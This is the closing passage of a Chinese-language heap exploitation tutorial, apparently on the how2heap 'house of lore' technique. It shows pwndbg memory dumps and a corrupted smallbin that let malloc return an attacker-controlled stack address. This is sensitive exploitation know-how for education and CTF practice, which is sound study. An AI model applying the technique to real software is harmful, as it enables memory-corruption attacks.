0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000070 0x00000000000003f1
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000000000
0x603130: 0x0000000000000000 0x0000000000000000
pwndbg> p p4
$1 = 0x7fffffffe5a0 "\330\033\335\367\377\177"
pwndbg> x/10gx &stack_buffer_2
0x7fffffffe570: 0x0000000000000000 0x0000000000000000
0x7fffffffe580: 0x00007ffff7dd1bd8 0x0000000000400b6d
0x7fffffffe590: 0x0000000000000000 0x0000000000000000
0x7fffffffe5a0: 0x00007ffff7dd1bd8 0x00007fffffffe570
0x7fffffffe5b0: 0x00007fffffffe6a0 0xda812b0bc8e82d00
pwndbg> p p4
$1 = 0x7fffffffe5a0 "\330\033\335\367\377\177"
pwndbg> x/10gx &stack_buffer_2
0x7fffffffe570: 0x0000000000000000 0x0000000000000000
0x7fffffffe580: 0x00007ffff7dd1bd8 0x0000000000400b6d
0x7fffffffe590: 0x0000000000000000 0x0000000000000000
0x7fffffffe5a0: 0x00007ffff7dd1bd8 0x00007fffffffe570
0x7fffffffe5b0: 0x00007fffffffe6a0 0xda812b0bc8e82d00
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70 [corrupted]
FD: 0x603000 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x603000
BK: 0x7fffffffe570 —▸ 0x400b6d (__libc_csu_init+77) ◂— nop
largebins
empty
pwndbg>
再一次malloc将返回fake chunk 1的地址,地址在栈上且我们能够控制。 于是我们就成功地骗过了malloc在栈上分配了一个chunk。在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 0x7ffff7dd1bd8
最后再想一下,其实最初的victim chunk使用fast chunk也是可以的,其释放后虽然是被加入到 fast bins中,而不是unsorted bin,但malloc之后,也会被整理到small bins里。自行尝试吧。
4.参考资料
【PWN】how2heap | 狼组安全团队公开知识库